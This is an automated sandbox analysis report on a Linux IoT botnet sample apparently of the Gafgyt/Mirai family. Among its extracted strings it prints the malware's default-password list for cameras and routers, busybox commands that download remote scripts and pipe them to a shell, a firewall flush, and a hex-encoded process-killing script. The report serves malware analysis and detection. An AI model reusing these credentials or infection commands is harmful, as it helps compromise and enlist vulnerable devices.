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Linux Analysis Report
la.bot.sh4.elf

Overview

General Information

Sample name:la.bot.sh4.elf
Analysis ID:1561822
MD5:c36b7ffb1c5b0dc3d73ac18b539bd8e8
SHA1:7a53bc30ae948836a789cdf1f393c0928e04799c
SHA256:e42cb242976bafcbeaf9e793de6a17313538d4226270c5aec8a459ce5bfcadbf
Tags:elfuser-abuse_ch
Infos:

Detection

Score:48
Range:0 - 100
Whitelisted:false

Signatures

Multi AV Scanner detection for submitted file
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1561822
Start date and time:2024-11-24 11:37:08 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 16s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:la.bot.sh4.elf
Detection:MAL
Classification:mal48.linELF@0/0@2/0
  • VT rate limit hit for: la.bot.sh4.elf
Command:/tmp/la.bot.sh4.elf
PID:5429
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • la.bot.sh4.elf (PID: 5429, Parent: 5353, MD5: 8943e5f8f8c280467b4472c15ae93ba9) Arguments: /tmp/la.bot.sh4.elf
  • cleanup
No yara matches
No Suricata rule has matched

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Source: la.bot.sh4.elfReversingLabs: Detection: 34%
Source: la.bot.sh4.elfString: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.sh4.elfString: l/proc/self/exe/. /proc//proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/lib//lib64//mountinfo/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/var/Sofia/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin/
Source: la.bot.sh4.elfString: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4D
Source: /tmp/la.bot.sh4.elf (PID: 5429)Socket: 127.0.0.1:1234Jump to behavior
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
Source: la.bot.sh4.elfString found in binary or memory: http:///curl.sh
Source: la.bot.sh4.elfString found in binary or memory: http:///wget.sh
Source: Initial sampleString containing 'busybox' found: usage: busybox
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sampleString containing 'busybox' found: /bin/busybox
Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sampleString containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sampleString containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//v
Source: ELF static info symbol of initial sample.symtab present: no
Source: classification engineClassification label: mal48.linELF@0/0@2/0
Source: /tmp/la.bot.sh4.elf (PID: 5429)Queries kernel information via 'uname': Jump to behavior
Source: la.bot.sh4.elf, 5429.1.00007fa2a0420000.00007fa2a0427000.rw-.sdmpBinary or memory string: VMware
Source: la.bot.sh4.elf, 5429.1.00007ffe74a1b000.00007ffe74a3c000.rw-.sdmpBinary or memory string: Wx86_64/usr/bin/qemu-sh4/tmp/la.bot.sh4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.sh4.elf
Source: la.bot.sh4.elf, 5429.1.00007ffe74a1b000.00007ffe74a3c000.rw-.sdmpBinary or memory string: /usr/bin/qemu-sh4
Source: la.bot.sh4.elf, 5429.1.00007fa2a0420000.00007fa2a0427000.rw-.sdmpBinary or memory string: QEMU7
Source: la.bot.sh4.elf, 5429.1.00005634982d3000.0000563498336000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/sh4
Source: la.bot.sh4.elf, 5429.1.00005634982d3000.0000563498336000.rw-.sdmpBinary or memory string: 4V5!/etc/qemu-binfmt/sh4
Source: la.bot.sh4.elf, 5429.1.00007ffe74a1b000.00007ffe74a3c000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity Information1
Scripting
Valid AccountsWindows Management Instrumentation1
Scripting
Path InterceptionDirect Volume AccessOS Credential Dumping11
Security Software Discovery
Remote ServicesData from Local System1
Non-Application Layer Protocol
Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
Application Layer Protocol
Exfiltration Over BluetoothNetwork Denial of Service
No configs have been found
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Number of created Files
  • Is malicious
  • Internet
SourceDetectionScannerLabelLink
la.bot.sh4.elf34%ReversingLabsLinux.Backdoor.Gafgyt
No Antivirus matches
No Antivirus matches
No Antivirus matches
NameIPActiveMaliciousAntivirus DetectionReputation
daisy.ubuntu.com
162.213.35.24
truefalse
    high
    NameSourceMaliciousAntivirus DetectionReputation
    http:///wget.shla.bot.sh4.elffalse
      high
      http:///curl.shla.bot.sh4.elffalse
        high
        No contacted IP infos
        No context
        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
        daisy.ubuntu.comla.bot.m68k.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.24
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        • 162.213.35.25
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        • 162.213.35.24
        m68k.nn.elfGet hashmaliciousMirai, OkiruBrowse
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        • 162.213.35.24
        arm.nn.elfGet hashmaliciousMirai, OkiruBrowse
        • 162.213.35.24
        sparc.nn.elfGet hashmaliciousMirai, OkiruBrowse
        • 162.213.35.25
        m68k.nn.elfGet hashmaliciousMirai, OkiruBrowse
        • 162.213.35.25
        arm7.nn.elfGet hashmaliciousMirai, OkiruBrowse
        • 162.213.35.25
        No context
        No context
        No context
        No created / dropped files found
        File type:ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
        Entropy (8bit):6.940241158397184
        TrID:
        • ELF Executable and Linkable format (generic) (4004/1) 100.00%
        File name:la.bot.sh4.elf
        File size:64'644 bytes
        MD5:c36b7ffb1c5b0dc3d73ac18b539bd8e8
        SHA1:7a53bc30ae948836a789cdf1f393c0928e04799c
        SHA256:e42cb242976bafcbeaf9e793de6a17313538d4226270c5aec8a459ce5bfcadbf
        SHA512:2944e2fad256278a6e603bcaf6d202d461f01d5d2d07ec7969c66729d5e908dcebe320ccc1a44aae6a468da8368fba989fabaebc89260b5b7d6515deab547d90
        SSDEEP:1536:VJPliK9VnCvD0L0oUW5jndzAJru7q7pfBFCk2ONn8sT:VJPlwD0VUajndNqdfBF0Un
        TLSH:FA536B67CD682E05DE4CA5B4B430CBBE5F53A501CA822EE7C566D27A5043E9CF80D6F8
        File Content Preview:.ELF..............*.......@.4...........4. ...(...............@...@.T...T...............X...X.A.X.A.\....E..........Q.td............................././"O.n........#.*@........#.*@.....o&O.n...l..............................././.../.a"O.!...n...a.b("...q.

        ELF header

        Class:ELF32
        Data:2's complement, little endian
        Version:1 (current)
        Machine:<unknown>
        Version Number:0x1
        Type:EXEC (Executable file)
        OS/ABI:UNIX - System V
        ABI Version:0
        Entry Point Address:0x4001a0
        Flags:0x9
        ELF Header Size:52
        Program Header Offset:52
        Program Header Size:32
        Number of Program Headers:3
        Section Header Offset:64244
        Section Header Size:40
        Number of Section Headers:10
        Header String Table Index:9
        NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
        NULL0x00x00x00x00x0000
        .initPROGBITS0x4000940x940x300x00x6AX004
        .textPROGBITS0x4000e00xe00xd7200x00x6AX0032
        .finiPROGBITS0x40d8000xd8000x240x00x6AX004
        .rodataPROGBITS0x40d8240xd8240x1f300x00x2A004
        .ctorsPROGBITS0x41f7580xf7580x80x00x3WA004
        .dtorsPROGBITS0x41f7600xf7600x80x00x3WA004
        .dataPROGBITS0x41f76c0xf76c0x3480x00x3WA004
        .bssNOBITS0x41fab40xfab40x42900x00x3WA004
        .shstrtabSTRTAB0x00xfab40x3e0x00x0001
        TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
        LOAD0x00x4000000x4000000xf7540xf7546.97890x5R E0x10000.init .text .fini .rodata
        LOAD0xf7580x41f7580x41f7580x35c0x45ec3.85640x6RW 0x10000.ctors .dtors .data .bss
        GNU_STACK0x00x00x00x00x00.00000x7RWE0x4
        TimestampSource PortDest PortSource IPDest IP
        Nov 24, 2024 11:37:50.719656944 CET6091053192.168.2.131.1.1.1
        Nov 24, 2024 11:37:50.719727039 CET5227353192.168.2.131.1.1.1
        Nov 24, 2024 11:37:50.945802927 CET53522731.1.1.1192.168.2.13
        Nov 24, 2024 11:37:50.976888895 CET53609101.1.1.1192.168.2.13
        TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
        Nov 24, 2024 11:37:50.719656944 CET192.168.2.131.1.1.10x8f12Standard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
        Nov 24, 2024 11:37:50.719727039 CET192.168.2.131.1.1.10x98aaStandard query (0)daisy.ubuntu.com28IN (0x0001)false
        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
        Nov 24, 2024 11:37:50.976888895 CET1.1.1.1192.168.2.130x8f12No error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false
        Nov 24, 2024 11:37:50.976888895 CET1.1.1.1192.168.2.130x8f12No error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false

        System Behavior

        Start time (UTC):10:37:49
        Start date (UTC):24/11/2024
        Path:/tmp/la.bot.sh4.elf
        Arguments:/tmp/la.bot.sh4.elf
        File size:4139976 bytes
        MD5 hash:8943e5f8f8c280467b4472c15ae93ba9